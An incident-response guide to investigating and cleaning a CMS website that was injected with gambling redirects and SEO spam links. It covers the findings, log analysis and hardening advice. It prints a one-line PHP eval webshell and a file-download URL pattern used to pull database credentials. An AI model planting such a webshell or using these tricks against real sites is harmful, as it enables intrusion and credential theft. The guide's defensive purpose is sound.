How to Investigate and Clean a Hacked Website: Step‑by‑Step Security Guide

At 1 a.m. a friend reported that their website homepage redirected to a gambling site, prompting an immediate investigation.

Intrusion Analysis

Reviewing the homepage source (index.html/index.php) revealed three suspicious Unicode‑encoded strings hidden in the title and meta tags. Decoding them showed promotional text for SEO black‑link farms, confirming the site had been injected with malicious links.

Server First Security Handling

The server was a standalone machine with only an administrator account, and the previous operator had left. Immediate actions included:

Logging in with the known admin account to inspect the front‑end and back‑end (front‑end accessible, back‑end not).

Running a vulnerability scan.

Checking other sites on the same IP, discovering four unknown sites likely used for SEO black‑link services.

Further investigation showed the CMS version (CMS v7) had multiple known vulnerabilities, directory listing was enabled, and several suspicious PHP files (e.g., upload_files/447‑byte.php) were found.

One file contained the classic backdoor code <?php@eval($_POST['cmd']);?>, but its size (30 bytes) did not match the observed 447 bytes, suggesting it was obfuscated.

File Download Vulnerability

The CMS allowed arbitrary file download via a URL parameter, e.g.,

http://www.example.org.cn/do/job.php?job=download&url=base64

. By base64‑encoding paths such as data/config.php, the attacker could retrieve database credentials (root account) and other configuration files.

Physical Path Discovery

Accessing cache/hack/search.php revealed the server’s real physical path and confirmed the presence of MySQL root credentials.

File Upload and IIS Parsing Vulnerability

Using ckfinder.html, the attacker uploaded 1.asp and 1.php to gain a webshell if the server parsed those files.

Database Import Vulnerability

Database backup files were found in a backup directory. Using the previously obtained credentials, an attacker could overwrite the current database, which could be destructive.

Server Second Security Handling

Two days later the site was again hijacked. Manual inspection of all PHP files (sorting by size >20 KB) uncovered additional encrypted webshells that evaded WebShellKill. The hash of one such file was submitted to the tool for detection.

Log Analysis and Tracing

IIS logs were concatenated ( cat *.log>alllog.txt) and examined to identify IP addresses that accessed suspicious files, aiding in attacker tracking.

Summary and Recommendations

Key takeaways include: always back up code and databases before remediation; use automated tools like WebShellKill for initial cleanup; manually verify files with similar timestamps; scan large files for hidden shells; employ Linux‑style scanning on Windows; analyze logs with tools such as 逆火 to locate attacker IPs; install antivirus, enable firewalls, and regularly patch the system.